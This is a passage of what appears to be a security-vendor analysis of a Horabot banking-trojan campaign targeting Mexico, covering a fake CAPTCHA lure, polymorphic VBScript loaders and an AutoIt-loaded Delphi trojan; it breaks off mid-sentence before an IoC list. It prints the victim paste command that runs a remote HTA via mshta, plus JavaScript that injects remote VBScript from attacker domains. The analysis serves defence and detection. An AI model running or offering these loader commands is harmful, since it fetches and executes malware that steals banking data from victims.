MalwareMar 18, 2026

The SOC Files: Time to “Sapecar”. Unpacking a new Horabot campaign in Mexico

Kaspersky SOC analyzed a sophisticated Horabot campaign targeting Mexico that uses a complex multi-stage attack chain combining fake CAPTCHA lures, server-side polymorphic payloads, HTA/VBScript loaders, and AutoIt-based banking trojans. The campaign demonstrates advanced obfuscation, anti-analysis techniques, and persistence mechanisms designed to evade detection and establish long-term access.

Read at source

Summary

Full text

Table of Contents IntroductionThe starting pointThe attack chainStage 1: Initial lureStage 2: A pinch of server-side polymorphismStage 3: The evil combination of AutoIT and a banking TrojanStage 4: The spreaderDetection engineering and threat hunting opportunitiesYARA rulesHunting queriesIoCs Authors Domenico Caldarella Mateus Salgado Introduction In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain. Although previous research has documented Horabot campaigns (here and here), our goal is to highlight how active this threat remains and to share some aspects not covered in those analyses. The starting point As usual, our story begins with an alert that popped up in one of our customers’ environments. The rule that triggered it is generic yet effective at detecting suspicious mshta activity. The case progressed from that initial alert, but fortunately ended on a positive note. Kaspersky Endpoint Security intervened, terminated the malicious process (via a proactive defense module (PDM)) and removed the related files before the threat could progress any further. The incident was then brought up for discussion at one of our weekly meetings. That was enough to spark the curiosity of one of our analysts, who then delved deeper into the tradecraft behind this campaign. The attack chain After some research and a lot of poking around in the adversary infrastructure, our team managed to map out the end-to-end kill chain. In this section, we will break down each stage and explain how the operation unfolds. Stage 1: Initial lure Following the breadcrumbs observed in the reported incident, the activity appears to begin with a standard fake CAPTCHA page. In the incident mentioned above, this page was located at the URL https://evs.grupotuis[.]buzz/0capcha17/ (details about its content can be found here). Fake CAPTCHA page at the URL https://evs.grupotuis[.]buzz/0capcha17/ Similar to the Lumma and Amadey cases, this page instructs the user to open the Run dialog, paste a malicious command into it and then run it. Once deceived, the victim pastes a command similar to the one below: mshta https://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta 1 mshta https://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta This command retrieved and executed an HTA file that contained the following: It is essentially a small loader. When executed, it opens a blank window, then immediately pulls and runs an external JavaScript payload hosted on the attacker’s domain. The body contains a large block of random, meaningless text that serves purely as filler. Stage 2: A pinch of server-side polymorphism The payload loaded by the HTA file dynamically creates a new <script> element, sets its source to an external VBScript hosted on another attacker-controlled domain, and injects it into the <head> section of a page hardcoded in the HTA. You can see the full content of the page in the box below. Once appended, the external VBScript is immediately fetched and executed, advancing the attack to its next stage. var scriptEle = document.createElement("script"); scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/ld1/"); scriptEle.setAttribute("type", "text/vbscript"); document.getElementsByTagName('head')[0].appendChild(scriptEle); 1234 var scriptEle = document.createElement("script");scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/ld1/"); scriptEle.setAttribute("type", "text/vbscript"); document.getElementsByTagName('head')[0].appendChild(scriptEle); The next-stage VBS content resembles the example shown below. During our analysis, we observed the use of server-side polymorphism because each access to the same resource returned a slightly different version of the code while preserving the same functionality. The script is obfuscated and employs a custom string encoding routine. Below is a more readable version with its strings decoded and replaced using a small Python script that replicates the decode_str() routine. The script performs pretty much the same function as the initial HTA file. It reaches a JavaScript loader that injects and executes another polymorphic VBScript. var scriptEle = document.createElement("script"); scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/"); scriptEle.setAttribute("type", "text/vbscript"); document.getElementsByTagName('head')[0].appendChild(scriptEle); 1234 var scriptEle = document.createElement("script");scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/"); scriptEle.setAttribute("type", "text/vbscript"); document.getElementsByTagName('head')[0].appendChild(scriptEle); Unlike the first script, this one is significantly more complex, with more than 400 lines of code. It acts as the heavy lifter of the operation. Below is a brief summary of its key characteristics: Heavy obfuscation: the script uses multiple layers of obfuscation to obscure its behavior. Custom string decoder: employs the same decoding routine found in the first VBScript to reconstruct strings at runtime. Anti-VM and “anti-Avast”: performs basic environment checks and terminates if a specific Avast folder or VM artifacts are detected. Information gathering and exfiltration: collects the host IP, hostname, username, and OS version, then sends this data to a C2 server. Download of additional components: retrieves an AutoIt executable, its compiler (Aut2Exe), a script (au3), and a blob file, placing them under the hardcoded path C:\Users\Public\LAPTOP-0QF0NEUP4. PowerShell command execution: executes PowerShell commands that reach out to two different URLs (one unavailable and the other leading to the first stager of the spreader, which we describe later in this article). Persistence setup: creates a LNK file and drops it into the Startup folder to maintain persistence. Cleanup routines: removes temporary files and terminates selected processes. During our analysis of the heavy lifter, specifically within the exfiltration routine, we identified where the collected data was being sent. After probing the associated URL and removing the “salvar.php” portion, we uncovered an exposed webpage where the adversary listed all their victims. As you may have noticed, the table is in Brazilian Portuguese and lists victims dating back to May 2025 (this screenshot was taken in September 2025). In the “Localização” (location) column, the adversary even included the victims’ geographic coordinates, which are redacted in the screenshot. A quick breakdown shows that, of the 5384 victims, 5030 were located in Mexico, representing roughly 93% of the total. Stage 3: The evil combination of AutoIT and a banking Trojan It is now time to focus on the files downloaded by our heavy lifter. As previously mentioned, three AutoIT components were dropped on disk: the executable (AutoIT3), the compiler (Aut2Exe), and the script (au3), along with an encrypted blob file. Since we have access to the AutoIt script code, we can analyze its routines. However, it contains over 750 lines of heavily obfuscated code, so let’s focus only on what really matters. The most important routine is responsible for decrypting the blob file (it uses AES-192 with a key derived from the seed value 99521487), loading it directly into memory, and then calling the exported function B080723_N. The decrypted blob is a DLL. We also managed to replicate the decryption logic with a Python script and manually extract the DLL (0x6272EF6AC1DE8FB4BDD4A760BE7BA5ED). After initial triage and basic sandbox execution, we observed the following: The sample is a well-known Delphi banking Trojan detected by several engines under different names, such as Casbaneiro, Ponteiro, Metamorfo, and Zusy. It embeds two old OpenSSL libraries (libeay32.dll and ssleay32.dll) from the Indy Project,

Indicators of Compromise

domain — evs.grupotuis.buzz
url — https://evs.grupotuis.buzz/0capcha17/
url — https://evs.grupotuis.buzz/0capcha17/DMEENLIGGB.hta
domain — pdj.gruposhac.lat
url — https://pdj.gruposhac.lat/g1/ld1/
url — https://pdj.gruposhac.lat/g1/
malware — Horabot